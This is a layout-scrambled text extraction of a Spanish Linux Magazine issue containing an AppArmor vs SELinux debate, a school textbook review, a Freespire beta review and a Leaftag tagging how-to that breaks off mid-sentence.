SELinux sólo puede aplicar algunas de suscaracterísticas a las aplicaciones que no hayansido modificadas; el conjunto completo decaracterísticas sólo estará disponible si sevuelve a enlazar la aplicación con la libreríalibselinux, que está disponible para las aplica-ciones de código abierto, pero no para las apli-caciones propietarias de las empresas.

Es Preferible AppArmorAppArmor y SELinux proporcionan seguridad dealta calidad. Pero parece que SELinux ha sidodiseñada para ajustarse a los deseos de la NSAcon políticas de complejidad arbitraria a expensasde su facilidad de uso. Un sistema difícil de usares algo crítico, porque a menudo hace que la

Crispin Cowan fue el CTO y fundador de

la empresa Immunix, Inc., reciente-

mente adquirida por Novell. Trabaja

actualmente como arquitecto en Novell

con respecto a la seguridad de las plata-

formas Linux y las aplicaciones que esta

empresa ofrece para Linux, y con espe-

cial atención al producto AppArmor que

llegó con la adquisición de Immunix.

Desarrolló varias tecnologías de seguri-

dad para los equipos, incluyendo el

compilador StackGuard que defiende a

las aplicaciones de los desbordamientos

de búfer y la interfaz LSM (Linux Secu-

rity Modules) de Linux 2.6. El Dr. Cowan

también es coinventor del método

“time-to-patch” que evalúa cuándo es

seguro aplicar un parche de seguridad.

Antes de la fundación de Immunix, fue

profesor en el departamento de informá-

tica e ingeniería de la universidad de

Oregón. Tiene un doctorado por la uni-

versidad de Ontario Occidental y un

máster en matemáticas por la universi-

dad de Waterloo.

Crispin Cowan

El FAQ de AppArmor dice lo siguiente acercade la seguridad: “Utilizando la GUI de Yast, es unatarea bastante sencilla para un usuario sin expe-riencia desarrollar perfiles de seguridad, mientrasque los usuarios expertos tienen la flexibilidad depoder crear perfiles más precisos”. Pero ¿real-mente desearía tener los datos de su tarjeta decrédito almacenados en un servidor cuya políticade seguridad se haya creado por un usuarionovato utilizando Yast y el modo de “queja” deAppArmor? Al contrario que esto, Red Hat secentra en un uso profesional. Los fabricantes desoftware proporcionan políticas SELinux verifica-das que los clientes configuran dentro del marcode trabajo de parámetros validados.

MásDesde luego que AppArmor es más sencillo deconfigurar porque se centra en un grupo másreducido de problemas de seguridad. El FAQincluso se jacta de que AppArmor no garantiza laconfidencialidad de los datos, al contrario queSELinux, diciendo que esta característica sólo esútil para los servicios secretos. No hay ni unapalabra mencionando los datos de las tarjetas decrédito, los datos de los clientes, los registrosmédicos, las cuentas bancarias, Basel II y la con-formidad con Sabranes-Oxley…

Y la crítica sobre que se tienen que recompilarlas aplicaciones para SELinux no es correcta. ConSELinux, el contexto de la seguridad después deejecutar un proceso nuevo depende de quien eje-cutó el proceso y en que contexto. Para ello nohay necesidad de cambiar la aplicación y los con-textos de seguridad están bien definidos. Sólounos pocos programas requieren modificaciones.

Las restricciones de subprocesos de AppArmorpermiten ejecutar, por ejemplo, los scripts PHPvía mod_php en un contexto diferente del deApache, aunque ambos se ejecutan en el mismoproceso. El FAQ menciona que esto solamente esposible con una versión especial de Apache conmodificaciones de Novell. Dicho de otro modo,AppArmor requiere también que se recompile laaplicación alguna que otra vez.

El diseño de AppArmor tiene enormes desven-tajas: No hay nada que pare el código malévolo

inyectado por un atacante dentro del con-texto de PHP ejecutándose dentro delcontexto de Apache. Después de todo,usan el mismo sector de memoria. Elimpacto del código de un exploit nopuede proporcionar seguridad. Ademáseste escenario permite obtener privile-gios. Ésto es un fallo, no una caracterís-tica.

Etiquetas vs RutasLa situación con el argumento del sis-

tema de ficheros es similar: SELinux utiliza eti-quetas de seguridad, que se almacenan comoatributos extendidos de los objetos del sistema deficheros. Novell ve esto como una extensión quesólo está soportada por algunos sistemas de fiche-ros específicos. De hecho, los atributos extendi-dos son una característica estándar de la que tansólo unos pocos sistemas de ficheros carecen y esun argumento más en contra del favorito deNovell, Reiser FS.

AppArmor utiliza las rutas de los ficheros ensus perfiles, pero no puede garantizar su seguri-dad. Mientras que la etiquetas de seguridad enla-zadas con los inodos de SELinux se refieren a losobjetos reales del sistema de ficheros, las rutas delos nombres de los ficheros de AppArmor utilizanuna capa de abstracción que no necesariamenterefleja el sistema de ficheros real. Los enlaces sim-bólicos son un ejemplo de estos problemas. Unobjeto puede utilizar múltiples rutas de fichero ypor ello ser gobernados por diferentes políticas.La cuestión es si esto puede ser considerado conMAC (Mandatory Access Control).

Una Cuestión deFlexibilidadLa afirmación de que AppArmor es más flexibleque SELinux no está basada en ninguna prueba.Una configuración de AppArmor puede se modi-ficada más rápidamente, porque define a un sis-tema menos seguro. Pero esto no tiene nada quever con la flexibilidad. El diseño de perfiles unidi-mensionales de AppArmor no proporciona elmismo nivel de seguridad y flexibilidad que elcambio de contexto dinámico que SELinux pro-porciona. Un programa se puede ejecutar condiferentes privilegios dependiendo de quien loejecute y del contexto. Esto permite tener perfilesde seguridad extremadamente flexibles.

La arquitectura de SELinux es también ade-cuada para diseños de seguridad que vayan másallá de MAC. Y las implementaciones MLS yMCS proporcionan una prueba amplia de que eldiseño funciona (véase el artículo de SELinux).Ambos almacenan atributos como atributosextendidos del sistema de ficheros y por ellosoporta la integración con la política de SELinux. ?

Es Preferible SELinuxSELinux posee una implementación más con-sistente de MAC como un producto estándaractual. Se deriva de un entendimiento funda-mental de la forma en la que los ataques se lle-van a cabo en los sistemas IT. Es decir, los hac-kers siempre van un paso más allá en lacarrera por descubrir el próximo exploit. Laarquitectura necesita tener esto en cuenta ygarantizar que incluso si un hacker tiene éxito,no vaya a ocasionar problemas serios.

La decisión de SELinux o AppArmor es laelección entre una arquitectura de seguridadfiable por un lado y por otro lado una serie demejoras locales ad hoc. Las demandas deseguridad típicas realizadas por los usuariosde Red Hat Enterprise Linux tan sólo puedenser conseguidas de manera fiable utilizandoun sistema más complejo como SELinux. �

27Número 22W W W . L I N U X - M A G A Z I N E . E S

SELinux • PORTADAAppArmor vs. SELinux • PORTADA

Daniel Riek (Figura 2) ha sido el director

de producción de Red Hat Linux desde

comienzos de 2006. Entró en la

empresa a mediados de 2003. Antes de

pasarse al desarrollo de productos, fue

arquitecto de soluciones y propor-

cionaba servicios de asesoría preventa

a los clientes.

Fundó ID-PRO, un proveedor de servi-

cios de Internet y GNU/Linux, mientras

estudiaba informática en la universidad

de Bonn, Alemanía, haciendo que la

empresa creciera hasta hacerse interna-

cional. En 2001 abandona ID-PRO para

pasarse a la proveedora de servicios de

software francesa Alcove, donde se

convirtió en el responsable de las activi-

dades de esta compañía en Alemanía y

principalmente se encargaba de nego-

ciar con las cuentas claves de IT y ban-

carias. Riek fue miembro del boletín de

la asociación LIVE Linux durante bas-

tantes años y representante de la orga-

nización.

Daniel RiekFigura 2: Daniel Riek: “…

desearía tener los datos

de su tarjeta de crédito

almacenados en un servi-

dor cuya política de

seguridad se haya creado

por un usuario novato

utilizando Yast y el modo

de ‘queja’ de AppAr-

mor?”

[1] AppArmor: http://www.opensuse.org/

AppArmor

[2] Video de AppArmor: ftp://ftp. belnet.

be/pub/mirror/FOSDEM/

FOSDEM2006-apparmor.avi

[3] SELinux: http://www.nsa.gov/selinux/

[4] Politicas de desarrollo de SELinux:

http://selinuxnews.org

[5] Entrevista con Dan Walsh: http://

danwalsh.livejournal.com/424.html

RECURSOS

EVALUACIÓN • Libros

28 Número 22 W W W . L I N U X - M A G A Z I N E . E S

con un especial hincapié en el paquete ofimá-

tico OpenOffice.org, que acapara 6 (largos)

capítulos de un volumen de 14.

Esto no es malo en sí, siendo como es OOo,

el suite ofimático estándar de facto para Linux.

No es malo, digo, si el volumen se titulara

“Introducción a OpenOffice.org” o algo por el

estilo. Pero , no, se llama “Informática GNU/

Linux”. No estoy rompiendo una lanza a favor

de KOffice, Gnumeric y Abiword (aunque se

lo merezcan), estoy rompiendo una lanza a

favor de la enseñanza de la informática orien-

tada a las tareas, en vez de a las aplicaciones.

El orientar la enseñanza de la ofimática a

aplicaciones concretas ha dado lugar a una

generación de usuarios viciados y con una for-

mación tan especializada, que son incapaces

de adaptarse a nuevos entornos, aunque éstos

varíen muy poco de los antiguos. Esto a su vez

conlleva una tiranía de interfaces desfasados,

donde se fosilizan paradigmas anti-intuitivos y

poco usables sólo porque es a lo que el usua-

rio está acostumbrado.

Un enfoque a la tarea del tipo, “utiliza lo

que quieras para ello, pero hazlo”, aunque

hace que la curva de aprendizaje sea más

empinada para el alumno al principio, final-

mente desemboca en usuarios más autóno-

mos, con una base más sólida y más dispues-

tos a asumir cambios. Por supuesto que existe

el riesgo de fosilización de malos hábitos

(también existe en el método orientado a apli-

caciones. De hecho, es la culpable de la pau-

pérrima formación de los usuarios finales

actuales), pero para eso está el profesor: para

aconsejar sobre aplicaciones más aptas para

cada tarea o para corregir errores recurrentes

antes de que se enquisten.

Otra cosa que me disgustó, y no poco, fue la

falta de cualquier referencia a la línea de

comandos. Esto se está convirtiendo en

(mala) costumbre

en este tipo de

libros, y es una

hipocresía: no se

ignora un tema en

cualquier otra asig-

natura porque

puede disgustar al

alumno, o, lo que es

más probable, al

profesor ¡Ignorar la

línea de comandos

es ignorar una buena parte de las herramien-

tas más poderosas de Linux! Comprendo que

para abarcar todo el potencial de los coman-

dos de la shell exigiría (y de hecho, exige)

varios volúmenes, pero si se enseña a un

usuario como si fuera tonto, será un tonto y,

evitar la línea de comandos es subestimar al

alumno.

A corregir en futuras ediciones: los ficheros

de apoyo insertados por los autores están en

formato ODT y, a excepción de GuadaLinex

v3 y LinEx 2006, todas las distros del disco

vienen con OpenOffice 1.1, versión incapaz de

abrir este tipo de fichero. Otro problema

menor es que todas las explicaciones dan por

supuesto que uno tiene instalado Gnome,

pero MAX, por defecto, instala KDE.

Conclusión“Informática GNU/Linux” es una obra muy

a tener en cuenta por cualquier centro edu-

cativo que pretenda formalizar la asigna-

tura para sus alumnos. Incluso creo que

como manual para el auto-aprendizaje

puede ser de gran ayuda para dar los pri-

meros pasos en el uso de GNU/Linux como

sistema de escritorio.

El aspecto estético del volumen es mejo-

rable, pero esto es sólo un defecto anecdó-

tico si se le compara, a mi entender, con el

erróneo enfoque que presupone que “ense-

ñar informática es enseñar aplicaciones”,

aunque bien pensado, tal vez sea injusto

pedir que un libro cambie el planteamiento

de todo un sistema educativo. �

Informática GNU/Linux” (atentos a la titu-

lación canónica del volumen) es un juego

de materiales (libros de texto y actividades,

DVDs, recursos en línea, etc.) que pretende

rellenar el vacío existente en lo que se refiere a

materiales de enseñanza de la asignatura de

informática para primaria y ESO.

El volumen de Francisco Márquez y Juan

Luis Moreno viene etiquetado para ESO, sin

especificar ningún nivel en concreto dentro de

la secundaria. Me confundió un poco que no

fuese más específico, pero imagino que la falta

de definición en los programas educativos no

lo permitirá. A pesar de ello, en la misma

colección sí se encuentran disponibles cuader-

nos de trabajo divididos por curso.

El libro es voluminoso (288 páginas, for-

mato 287 x 225 mm) y abarca todas las distros

educativas, subrayando el hecho de que, a

pesar de los cambios de denominación, las

herramientas son comunes. El gran formato

del tomo permite a los autores presentar la

materia con abundantes capturas, diagramas,

cuadros y textos, sin por ello sobrecargar cada

página. Las explicaciones son claras y conci-

sas, y el temario abordado abarca desde los

conceptos más básicos de la informática

(números binario, periféricos, etc.) hasta el

uso de aplicaciones específicas comunes de

GNU/Linux.

El DVD trae las cinco principales distros uti-

lizadas por las cinco comunidades que han

incorporado GNU/Linux a su sistema educa-

tivo, a saber: LinEx de Extremadura, Guadali-

nex de Andalucía, Molinux de Castilla – La

Mancha, Lliurex de la Comunidad Valenciana

y MAX de la comunidad de Madrid.

Orientado a ProgramasPero, volviendo al libro, a partir del capítulo 6

el enfoque se centra en aplicaciones concretas,

Informática GNU/Linux - ESO

LIBROSCon la introducción de Linux en las aulas se hace imperiosa la produc-

ción de material educativo que dote a los profesores de las herramien-

tas necesarias para desarrollar adecuadamente su labor. La primera

editorial que ha decidido darle forma a una serie de materiales diseña-

dos específicamente para los centros escolares ha sido McGraw Hill.

POR PAUL C. BROWN

Autor: Francisco Márquéz, Juan Luis

Moreno

Idioma: Castellano

Formato: Tapa blanda, Gusanillo, 288

páginas

Editorial: McGraw Hill

ISBN: 84-481-4702-2

Precio: 25,50 euros

Ficha Técnica

Freespire • EVALUACIÓN

29Número 22W W W . L I N U X - M A G A Z I N E . E S

Linspire sorprendió recientemente a la

comunidad linuxera al anunciar una nueva

variante de su distribución bajo el nombre

de Freespire. De acuerdo con las notas de

prensa, Freespire será una distribución

comunitaria que comprenderá sólo software

libre, sin componentes comerciales. Esta tác-

tica recuerda los pasos seguidos por otras

distros como Suse o RedHat, que pusieron el

desarrollo de una parte importante de sus

sistemas en manos de la comunidad FOSS.

Freespire está basada en Debian GNU/

Linux. Linspire ha hecho muchas promesas

acerca de su nueva creación. “Freespire”,

reza la página del proyecto [2], “es suficien-

temente potente para el usuario de Linux

más sofisticado”.

Después de todo, Linspire está compi-

tiendo consigo mismo al producir una distro

libre que recuerda mucho al producto princi-

pal, comercial, de la compañía. Los usuarios

pueden descargar Freespire gratis. Compá-

rese esto con el precio de Linspire: 49,95

dólares para la Standard Edition.

¿Qué puede ofrecer Freespire? ¿Se trata de

Linspire intentando darle un empuje al CNR

Warehouse? Con esto en mente, hemos deci-

dido analizarlo muy detenidamente.

InstalaciónPodemos descargar una imagen de CD de la

beta de Freespire desde el servidor de Frees-

pire en [3], o bien vía BitTorrent. El CD con-

tiene unos 700 megabytes de información. Si

tenemos una conexión de banda ancha, no

deberíamos tener problemas para descar-

gar el archivo y quemarlo en un CD.

El menú CD Start ofrece al usuario un

buen número de opciones. Además de

la opción de instalar la distribución,

podemos lanzar un sistema live, que

puede ser útil para principiantes que

quieran probar antes de dar el salto. El

menú CD Start también nos permite

cambiar el particionado de nuestro

disco duro.

La rutina de instalación da pocas

opciones y guía al usuario por la

configuración del sistema con mano

firme. Tras la pantalla de bienvenida, el

usuario puede elegir la disposición del

teclado y luego optar a dedicar el disco

duro entero a Freespire o lanzar la pul-

cra herramienta de particionado de

disco (véase Figura 1). Desafortunada-

mente, la herramienta mostró cierta ten-

dencia a colgarse en nuestro laborato-

rio, y también colgó al instalador, con lo

que tuvimos que reiniciar y comenzar la

instalación desde cero.

Tras configurar el disco, los usuarios

pueden introducir el nombre de host

para el ordenador, sus propios nombres

y su elección para los nombres de usua-

rio, así como las contraseñas. Pulsamos

Finish y Yes I’m sure en el siguiente cua-

dro de diálogo para iniciar la fase de

copia de archivos de la instalación.

Tras copiar los archivos a disco (dicho

sea de paso, mientras ocurre esto, al

usuario se le muestra un carrusel de

“información” lleno de anuncios del

CNR Warehouse), se nos pregunta por

algunos valores de configuración del

sistema. Podemos aceptar los valores

por defecto en la mayoría de los casos.

Por último, la rutina muestra un cua-

dro resumen con la opción de configu-

rar una cuenta de usuario adicional,

aunque no es obligatorio crear una

Cuando la primera versión de Linspire

[1] llegó finalmente a las estanterías,

esta distro de escritorio había sorte-

ado algunos enormes obstáculos. Además del

hecho de que Microsoft no estaba demasiado

contenta con el nombre original “Lindows”,

los creadores de Linspire tuvieron que admitir

que no iban a ser capaces de alcanzar su obje-

tivo original de recrear el aspecto y el compor-

tamiento de Windows. Pero Linspire sobrevi-

vió este lento comienzo y continúa alcan-

zando éxitos en su esfuerzo de proporcionar

de Linux de una cuota cada vez mayor del

mercado de usuarios finales.

Linspire, que se centra en la facilidad de ins-

talación y la facilidad de uso para los princi-

piantes, proporciona componentes comercia-

les como drivers para las tarjetas gráficas ATI

o Nvidia, así como otro software comercial,

eliminando la necesidad de andar buscando

los codecs de vídeo o audio para poder ver

películas. De hecho, Linspire posee todos los

principales codecs comerciales.

El Click’n’Run Warehouse (CNR) es otra de

las características principales de Linspire. Los

usuarios pueden usar el front-end CNR para

descargar e instalar software. Sin embargo,

tendremos que registrarnos (gratis) antes de

poder usar el CNR. Si decidimos actualizar

nuestro estatus en CNR a “Gold” por unos

50 dólares, se nos facilitará el acceso a soft-

ware adicional.

29W W W . L I N U X - M A G A Z I N E . E S

DOBLE LIBRELinspire ha publicado una nueva versión no comercial de su distro

denominada Freespire. Hemos tomado la beta de Freespire para

ponerla a prueba. POR MARTIN LOSCHWITZ

Componente Versión

Kernel 2.6.16.7

Glibc 2.4

GCC 4.1.1

X.org 7.1

KDE 3.5.3

OpenOffice 2.0.3

Firefox 1.5.0.5

Tabla 1: Freespire Beta 2

Echamos un vistazo a la nueva distribución FreespireEchamos un vistazo a la nueva distribución Freespire

DOBLE LIBRELinspire ha publicado una nueva versión no comercial de su distro

denominada Freespire. Hemos tomado la beta de Freespire para

ponerla a prueba. POR MARTIN LOSCHWITZ

EVALUACIÓN • Freespire

30 Número 22 W W W . L I N U X - M A G A Z I N E . E S

cuenta de usuario sin privilegios además de

la cuenta de administrador. Si no configura-

mos una nueva cuenta, el primer usuario

que se configuró adquiere privilegios de root

automáticamente (aunque sudo añade una

capa de abstracción). Esta configuración

puede ser peligrosa, especialmente cuando

navegamos por Internet, y Freespire merece

una crítica por este enfoque.

Libre o No-LibreTras iniciar sesión con el administrador

gráfico con el tema diseñado para reflejar el

aspecto de Freespire (véase Figura 2), se

pone a nuestra disposición el tipo de sistema

que estábamos esperando, uno muy

parecido al del escritorio de Linspire. La

diferencia más llamativa es el botón de

inicio, que luce el logo azul de Freespire en

lugar del verde de Linspire. Freespire usa la

versión 3.5.3 de KDE.

La distribución tiene el conjunto habitual

de aplicaciones para las tareas diarias: ade-

más de OpenOffice, el más bien espartano

menú de KDE ofrece un Web Browser, que

es un seudónimo de Firefox, el cliente KMail

y el programa de mensajería instantánea

Kopete.

LSongs [4] actúa como sustituto de Ama-

rok. Hablando en general, Freespire tiene la

mayoría de las aplicaciones típicas de Lins-

pire, incluyendo LPhoto [5].

El menú incluye RealPlayer “Gold”, lo que

permite al usuario la posibilidad de iniciar

vídeos albergados en páginas Web de

manera automática. Freespire no tiene pro-

blemas con los formatos de vídeo: los archi-

vos WMV y AVI están soportados, como lo

están los MP3 y WMA. Todos ellos requieren

codecs no libres, lo que confirma nuestras

sospechas de que Freespire tiene una defini-

ción de “libre” un tanto relajada.

Nos comenzamos a preguntar cómo de

seria sería la afirmación de Linspire en su

proclama acerca de desarrollar Freespire

tomando como base sólo componentes

libres. El proyecto defiende la inclusión de

software no-libre bajo la afirmación de que

desea dar al usuario la máxima capacidad

de elegir, y esto incluye codecs, drivers y

aplicaciones propietarias. Dicho lo cual, el

CEO de Linspire, Keniv Carmony ha prome-

tido una variante de Freespire sin un solo

componente propietario para un futuro cer-

cano.

Descargar Software conapt-getEs fácil darse cuenta de que Freespire está

basado en Debian. Componentes como dpkg

y apt-get están completamente soportados.

Linspire anuncia que Freespire soporta la des-

carga sencilla de software basándose en apt-

get. Tenemos que ejecutar apt-get update en

primer lugar para indicarle a apt-get que des-

cargue un nuevo paquete de la lista del servi-

dor de Freespire. Tras completar la descarga,

es realmente fácil instalar software nuevo con

el comando apt-get install package. La infor-

mación se toma su tiempo en cruzar los

cables, a velocidades de 140Kbps, que difícil-

mente hacen sudar a un DSL. No se entiende

por qué Freespire no hace uso de mirrors.

Los paquetes descargados por apt-get no

vienen tal cual de los repositorios de Debian,

sino que han sido especialmente modificados

por Freespire. La distribución tiene una buena

selección de paquetes. Además de los míni-

Figura 1: El instalador de Freespire ofrece al usuario principiante una útil herramienta para

particionar el disco duro.

Figura 2: Login de Freespire Linux.

mos populares de Linux, se incluye a Gnome

y Xfce como escritorios alternativos. Esto teó-

ricamente ofrecería la posibilidad a los usua-

rios de remplazar el escritorio KDE por defecto

con su escritorio favorito. Esta capacidad de

instalar software vía apt-get hace definitiva-

mente a Freespire mucho más flexible que su

equivalente comercial Linspire.

Hablando de DriversLa distribución comercial Linspire instala

automáticamente los drivers propietarios en

los PC’s con tarjetas gráficas Nvidia o ATI, y

habilita la aceleración 3D al mismo tiempo.

Freespire no sigue la misma táctica. En su

lugar, usa los drivers de Xorg, nv y ati.

Esto no significa que los usuarios con

hardware Nvidia o ATI tengan que renun-

ciar. De hecho, podemos ejecutar apt-get en

una consola para descargar fglrx-installer y

los-kernel-extra (para ATI), o

nvidiadriver-source, nvidia-driver-utils, y

los-kernel-extra (para Nvidia). Tras hacerlo,

es muy fácil modificar la configuración de

las X para usar los nuevos drivers, consi-

guiendo así gráficos acelerados para el servi-

dor X. Podemos seguir el mismo método

para instalar drivers de diversas tarjetas

WLAN y de modems. Con algo de esfuerzo,

podemos finalmente añadir soporte para

componentes hardware que Linspire soporta

directamente.

CNR WarehouseJusto después de que iniciemos sesión por

primera vez, probablemente nos daremos

cuenta de la existencia de un icono con una

flecha azul que se mueve en la barra de

KDE. Este icono es el del módulo de actuali-

zación CNR Warehouse, que nos está indi-

cando que el CNR tiene software nuevo para

nosotros.

Si pulsamos el icono no se ejecuta el asis-

tente de actualización como podríamos

suponer. En su lugar, se muestra al usuario

el front-end normal del CNR Warehouse y se

le pide que se loguee. De hecho, será necesa-

rio que nos registremos en CNR (gratuita-

mente) antes de que podamos descargar

alguna actualización.

Tras registrarnos y loguearnos, encontra-

mos otra sorpresa: en nuestras pruebas My

Products en Available Updates no contenía

ni una sola actualización, y el icono con la

flecha azul desapareció cuando regresamos.

Es difícil no sospechar de que el icono par-

padeante esté allí sólo para que la gente se

registre en el CNR.

El CNR ofrece también la posibilidad de

instalar software adicional. Con un solo clic

instalaremos el Adobe Reader en nuestro sis-

tema, por ejemplo (véase la Figura 3). Sin

embargo, el CNR aún parece algo desorga-

nizado. El programa nos ofrece instalar

una versión antigua de Firefox, aunque

este programa ya está instalado en nues-

tro sistema como Web Browser. Y, de

nuevo, la velocidad de descarga del soft-

ware de CNR no es nada convincente.

ConclusionesFreespire Beta 2 nos deja impresiones

encontradas. El sistema presenta una

buena usabilidad, y se proporcionan las

versiones actuales de los principales pro-

gramas. La instalación es sencilla y difícil-

mente va a desconcertar ni a los novatos,

y el escritorio es bastante intuitivo.

Nos queda la pregunta de qué es lo que

realmente está tratando Linspire de con-

seguir con Freespire. Después de todo,

podemos recrear un Linspire con todas

sus características a partir de Freespire, y

el aspecto de los dos sistemas es similar

hasta la confusión. Freespire ni siquiera

se ha deshecho de la mayoría de los pro-

gramas propietarios que incluye Linspire.

En contraste con Debian y Ubuntu, Fre-

espire puede poner de los nervios al usua-

rio con sus constantes anuncios de CNR.

Aparte del icono de CNR y la presencia

por defecto de drivers comerciales y

codecs, nuestro laboratorio no halló

mayores diferencias entre Freespire y

otros derivados de Debian. Es posible ins-

talar estos codecs de vídeo propietarios

en Debian o Ubuntu, y lo mismo puede

aplicarse para los drivers de tarjetas gráfi-

cas y modems.

En conjunto, Freespire carece de claro

argumento de ventas: si has funcionado

con Linspire hasta ahora, no hay ninguna

razón clara para probar Freespire. �

31Número 22W W W . L I N U X - M A G A Z I N E . E S

[1] Linspire: http://www.linspire.com

[2] Proyecto Freespire: http://www.

freespire.org

[3] Descarga de Freespire: http://wiki.

freespire.org/index.php/

Download_Freespire

[4] Lsongs: http://lsongs.com

[5] Lphoto: http://lphoto.com

RECURSOS

Linspire publicó la Release Candidate 1

de Freespire poco después de la redac-

ción de este artículo. Este lanzamiento

no añadía cambios importantes en

comparación con la Beta 2 que hemos

comentado en este artículo. Sin

embargo corregía un buen número de

bugs y mejoraba la estabilidad, en

especial con respecto a CNR.

Freespire RC1

Figura 3: El CNR Warehouse le da al usuario la capacidad de instalar software adicional con

sólo señalar y pulsar. Las funcionalidades especiales están disponibles con un coste extra.

Freespire • EVALUACIÓN

lladores de Leaftag cuando implementaron este

sistema global de etiquetado con metadatos.

Leaftag nos permite asociar etiquetas de meta-

datos a un archivo. La información se mantiene

en una base de datos que soporta búsquedas

basadas en categorías. El líder del proyecto Leaf-

tag es Christian Hammond, que trabaja para

Vmware. Parte del código de Leaftag específico

para Gnome es obra de David Trowbridge.

Minuciosa InstalaciónLeaftag se encuentra en un estado relativamente

inicial de desarrollo, aunque la funcionalidad de

etiquetado funciona bien. La distribución de

Leaftag incluye cuatro componentes: la librería

Libleaftag en C, las Tagutils y los dos paquetes

específicos de Gnome: Leaftag-Python y Leaftag-

Gnome. No existen aún paquetes con binarios

específicos para distribuciones, por lo que debe-

mos estar preparados para experimentar y com-

pilar el programa nosotros mismos. Leaftag no

pide demasiado en cuanto a librerías actuales.

No necesitamos una versión CVS ni nada por el

estilo. Si queremos instalar el soporte de Leaftag

Los sistemas de direc-

torios jerárquicos son muy útiles

para organizar archivos, pero sólo pue-

den ayudarnos hasta cierto punto. Si tenemos

una colección de fotografías digitales, puede que

queramos tener directorios que reflejen las cate-

gorías del contenido, como paisajes, tecnología

o retratos. Los subdirectorios pueden ofrecer

categorías más detalladas, como familia, ami-

gos, trabajo y demás. Pero si tenemos una

enorme y compleja colección, puede que aún

así no seamos capaces de encontrar la imagen

que estábamos buscando.

Las técnicas de búsqueda basadas en meta-

datos proporcionan una mejor solución. Los

usuarios pueden asociar palabras clave con los

archivos para acelerar las búsquedas. Los meta-

datos proporcionan al usuario la capacidad de

crear una estructura de organización que no

descanse en el sistema de archivos.

Un ejemplo de esta solución con metadatos

es la herramienta de administración de imáge-

nes de Gnome F-Spot, que usa un sistema de

categorías [1] basado en etiquetas (véase la

Figura 1). Además de la capacidad de ordenar

las imágenes por la fecha de creación, el pro-

grama ordena también en función de la catego-

ría. Desafortunadamente, estas funcionalidades

de búsqueda sólo funcionan con la herramienta

F-Spot, que ejecuta su propia base de datos.

Por supuesto, sería más práctico si pudiéra-

mos buscar metadatos con cualquier programa.

Esta es la idea que tenían en mente los desarro-

PRÁCTICO • Leaftag

32 Número 22 W W W . L I N U X - M A G A Z I N E . E S

para Gnome, necesitamos

al menos Gnome 2.12 con

los paquetes de desarrollo.

Tras descargar los cuatro

paquetes de [2], el primer

paso es compilar e instalar

Libleaftag, ya que el resto de

paquetes dependen de la

librería. Compilar la

librería es muy

parecido a cual-

quier otro software

de configuración

manual. Comenzamos

ejecutando el script confi-

gure. La librería guarda las eti-

quetas de categoría en una base de

datos Sqlite, por lo que vamos a necesi-

tar los paquetes de desarrollo de la ver-

sión 2 de Sqlite, ya que Sqlite 3 no es compati-

ble con el API.

Si ejecutamos Configure sin especificar nin-

guna opción, y luego make installpara distribuir-

los por el disco, es posible que queramos fijar la

variable de entorno PKG_CONFIG_PATH para el

resto de paquetes a /usr/local/lib/pkgconfig. Si no

hacemos esto, los paquetes no podrán encontrar

el archivo leaftag.pc, que copió el script en esta

ubicación. Leaftag-Python requiere también los

paquetes de desarrollo Python-Gtk. Son

pygtk2-devel en Fedora 4/5, y python-gtk2-dev

para Ubuntu.

La tarea más compleja es resolver las depen-

dencias de Leaftag-Gnome. Este componente

requiere el Deskbar Applet [3], que está disponi-

ble en algunas distribuciones, pero generalmente

no en las últimas versiones. De nuevo, esto signi-

fica descargar las fuentes y seguir el proceso de

compilación, que a su vez requiere el paquete

gnomepython2-applet para Fedora o python-

gnome2-devpara Ubuntu.

Tras instalar el Deskbar Applet, deberíamos

ser capaces de compilar Leaftag-Gnome. Se

necesitan algunos pasos más para integrarlo en

la barra de Gnome. Si no especificamos un pre-

fijo para el Configure, el applet se ubicará en

/usr/local y será invisible al servidor Bonobo.

Creamos metadatos con Leaftag

HOJA EN BLANCO

amienta.

El programa experimental

Leaftag ofrece los medios

para asociar archivos con

categorías de búsquedas y

otros metadatos.

POR OLIVER FROMMEL

que ejecutar el comando Tagutils con las eti-

quetas necesarias. Podemos crear, leer, modifi-

car y borrar las propiedades de la etiqueta con

tagutils tagprop. El propósito de estas propieda-

des de la etiqueta aún están poco claras, pero

propiedades como description, hidden e image

son una buena indicación de lo que esconde

esta funcionalidad. Los programas que fijan eti-

quetas pueden usar las propiedades para mos-

trar las descripciones e imágenes de ciertas

categorías u ocultar etiquetas concretas.

tagutils tagsnos da una lista de etiquetas que

hemos usado. De momento no hay manera de

borrarlas. La combinación tagutils ls tag mues-

tra los archivos y URLs etiquetados con una eti-

queta concreta.

Tras el EscenarioEn segundo plano, los archivos, etiquetas y

asociaciones se administran con la base de

datos Sqlite ($HOME/.tags.db), que contiene

tres tablas (véase Figura 2).

Las claves no son hashes ni nada similar,

sino simples nombres de archivo. Este

método no es precisamente muy robusto, si

cambiamos el nombre de archivo o ruta,

Tagutils perderá el rastro del archivo.

El comando tagutils ls tag no muestra nin-

gún mensaje de error, probablemente para

evitar el desagradable mensaje “not found”

en el front-end con interfaz gráfica. Tras

mover un archivo etiquetado, si lo movemos

de vuelta a su ubicación original, Tagutils lo

encontrará de nuevo, sin que nada de esto

haya tenido efecto alguno en la base de

datos.

Muchos usuarios han sugerido un método

alternativo consistente en usar los atributos

avanzados del sistema de archivos, pero esto

provocaría una serie de problemas. Por un

lado, las etiquetas ya no serían portables. Es

decir, se perderían si movemos archivos a

otro ordenador. Por otro, los atributos avan-

zados son globales al sistema, mientras que

los desarrolladores de Leaftag intentan imple-

mentar etiquetas específicas para el usuario

desde el primer momento.

Otra opción sería mostrar un desacuerdo

en la ruta seguida por Leaftag, y bien modifi-

car todas las utilidades del sistema, o el escri-

torio o las capas VFS del kernel, para permitir

actualizaciones de la base de datos. Este es el

método que ha seguido Apple con los recur-

sos de los archivos en Mac OS X, aunque

Apple no usa un repositorio centralizado y ha

optado en su lugar por un método orientado

a archivo que usa directorios ocultos.

A pesar de los puntos débiles, Leaftag ha

sido acogido con entusiasmo por varios pro-

yectos de Gnome. Su arquitectura actual

implica que los desarrolladores que quieran

usar etiquetas tendrán que añadir el soporte

para su código ellos mismos. David Trow-

bridge ha intentado añadir soporte para Leaf-

tag en Gimmie, una especie de administrador

de información personal para Gnome. Pode-

mos ver el clip de demostración en [4]. Y el

moderno administrador de memos Tomboy

tiene soporte experimental para Leaftag [5].�

Podemos bien teclear la ruta directamente en el

archivo de configuración, /etc/bonobo-activa-

tion/bonoboactivation-config.xml, o bien usar

una aplicación para hacer este trabajo:

bonobo-activation-sysconf U

—add-directory=U

/usr/local/lib/bonobo/servers

Para hacer que el applet sea visible en el menú de

applets, tenemos que eliminar ciertos componen-

